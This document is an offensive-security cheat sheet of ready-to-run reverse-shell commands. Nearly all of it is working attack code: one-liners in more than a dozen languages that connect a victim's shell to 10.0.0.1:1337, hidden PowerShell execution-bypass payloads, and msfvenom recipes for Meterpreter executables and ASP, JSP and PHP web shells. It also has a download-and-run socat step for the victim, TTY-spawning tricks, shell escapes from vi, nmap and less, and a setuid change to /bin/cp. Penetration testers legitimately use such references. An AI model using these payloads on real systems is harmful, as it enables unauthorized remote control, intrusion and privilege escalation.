OsbornePro Command References

---

Rlwrap Reverse Shell Process

# OhMyZSH can break this trick, using sh is recommended rlwrap nc 10.0.0.1 1337 rlwrap -r -f . nc 10.0.0.1 1337 # -f . will make rlwrap use the current history file as a completion word list. # -r Put all words seen on in- and output on the completion list.

Bash Reverse Shells

bash -i >& /dev/tcp/10.0.0.1/1337 0>&1 0<&196;exec 196<>/dev/tcp/10.0.0.1/1337; sh <&196 >&196 2>&196 /bin/bash -l > /dev/tcp/10.0.0.1/1337 0<&1 2>&1

Netcat Reverse Shells

nc -e /bin/sh 10.0.0.1 1337 nc -e /bin/bash 10.0.0.1 1337 nc -c bash 10.0.0.1 1337 rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1337 >/tmp/f rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1337 >/tmp/f ncat 10.0.0.1 1337 -e /bin/bash ncat --udp 10.0.0.1 1337 -e /bin/bash

Bash UDP Reverse Shell

# Target Machine sh -i >& /dev/udp/10.0.0.1/1337 0>&1 # Attack Machine Listener nc -u -lvp 1337

Socat Reverse Shells

# Create Listener. Use -d -d for verbosity socat TCP4-LISTEN:443 STDOUT # Connect to listener socat TCP4:10.0.0.1:1337 EXEC:/bin/bash # SOCAT ENCRYPTED REVERSE SHELL # Start Listener socat -d -d OPENSSL-LISTEN:443,cert=bind.pem,verify=0,fork STDOUT # Connect shell LINUX: socat OPENSSL:10.0.0.1:443,verify=0 EXEC:/bin/bash WINDOWS: socat OPENSSL:10.0.0.1:443,verify=0 EXEC:'cmd.exe',pipes # SOCAT ENCRYPTED BIND SHELL # Generate a private key (no password) and certificate openssl req -newkey rsa;2048 -nodes -keyout bind_shell.key -x509 -days 365 -out bind_shell.crt # Convert the generated certificates to something socat will accept cat bind_shell.key bind_shell.crt > bind_shell.pem # Start encrypted listener socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC=/bin/bash # Connect to Bind Listener socat - OPENSSL:10.0.0.1:443,verify=0 #------------------------------------- # USE SOCAT FROM ONLINE BINARY user@attack$ socat file:`tty`,raw,echo=0 TCP-L:1337 user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:1337 user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:1337

Python Reverse Shells

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl Reverse Shells

perl -e 'use Socket;$i="10.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1337");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' # WINDOWS ONLY perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1337");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP Reverse Shells

php -r '$sock=fsockopen("10.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",1337);`/bin/sh -i <&3 >&3 2>&3`;' php -r '$sock=fsockopen("10.0.0.1",1337);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",1337);passthru("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("10.0.0.1",1337);popen("/bin/sh -i <&3 >&3 2>&3", "r");' php -r '$sock=fsockopen("10.0.0.1",1337);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Ruby Reverse Shells

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","1337");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}' # WINDOWS ONLY ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

GoLang Reverse Shell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

PowerShell Reverse Shells

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

AWK Reverse Shells

awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/1337"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Java Reverse Shell

Runtime r = Runtime.getRuntime(); Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/1337;cat <&5 | while read line; do $line 2>&5 >&5; done'"); p.waitFor(); String host="10.0.0.1"; int port=1337; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Telnet Reverse Shell

# Attack Machine Listeners nc -lvp 8080 nc -lvp 8081 # Target Machine telnet attackmachineIP 8080 | /bin/sh | telnet attackmachineIP 8081 # Find Reverse Shell Method touch pentestlab find pentestlab -exec whoami \; find pentestlab -exec netcat -lvp 5555 -e /bin/sh \; netcat 192.168.1.189 5555 id cat /etc/sh

Lua Reverse Shell

# LINUX lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1337');os.execute('/bin/sh -i <&3 >&3 2>&3');" # WINDOWS AND LINUX lua5.1 -e 'local host, port = "10.0.0.1", 1337 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

Meterpreter Shell Generation

#========================== # Windows Reverse Shells #========================== # Staged: Sent in two stages, the first one it loads a dropper, and the second stage loads the payload msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f exe > rev.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=443 -f exe -o meterpreter.exe msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f exe > rev.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=443 -f exe -o meterpreter.exe # Stageless: Standalone payloads is sent at once to the target using less communication msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f exe > rev.exe msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f exe > meterpreter.exe msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f exe > rev.exe msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f exe > meterpreter.exe #========================== # Linux Reverse Shells #========================== # Staged: Sent in two stages, the first one it loads a dropper, and the second stage loads the payload msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f elf > rev.elf msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f elf >rev.elf msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f elf > rev.elf msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f elf > rev.elf # Stageless: Standalone payloads is sent at once to the target using less communication msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f elf > rev.elf msfvenom -p linux/x86/meterpreter/shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f elf > rev.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f elf > rev.elf msfvenom -p linux/x64/meterpreter/shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f elf > rev.elf #========================== Web Reverse Shells #========================== # ASP msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f asp > shell.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f asp > shell.asp # JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f raw > shell.jsp # WAR msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f war > shell.war # PHP msfvenom -p php/reverse_php LHOST=10.0.0.1 LPORT=1337 -f raw > shell.php msfvenom -p php/meterpreter/reverse_php LHOST=10.0.0.1 LPORT=1337 -f raw > shell.php #========================== # Languge Shells #========================== # OpenBSD/MacOS msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f macho > shell.macho # Python msfvenom -p cmd/unix/reverse_python LHOST=10.0.0.1 LPORT=1337 -f raw > shell.py # Bash msfvenom -p cmd/unix/reverse_bash LHOST=10.0.0.1 LPORT=1337 -f raw > shell.sh # Perl msfvenom -p cmd/unix/reverse_perl LHOST=10.0.0.1 LPORT=1337 -f raw > shell.pl # PHP msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=1337 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

C Reverse Shell

# Compile Command gcc /tmp/shell.c --output csh && csh # C Code File Contents #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int port = 1337; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); return 0; }

Spawn a TTY Shell

/bin/sh -i python3 -c 'import pty; pty.spawn("/bin/sh")' python3 -c "__import__('pty').spawn('/bin/bash')" python3 -c "__import__('subprocess').call(['/bin/bash'])" perl -e 'exec "/bin/sh";' perl: exec "/bin/sh"; perl -e 'print `/bin/bash`' ruby: exec "/bin/sh" lua: os.execute('/bin/sh')

Spawn TTY From Binaries

• vi: :!bash
• vi: :set shell=/bin/bash:shell
• vim.tiny # Press ESC key :set shell=/bin/sh :shell
• vim.basic /root/.bashrc
• nmap: !sh
• nmap --interactive
• mysql: ! bash
• less /etc/passwd; !/bin/sh
• which cp; ls -al /bin/cp; chmod u+s /bin/cp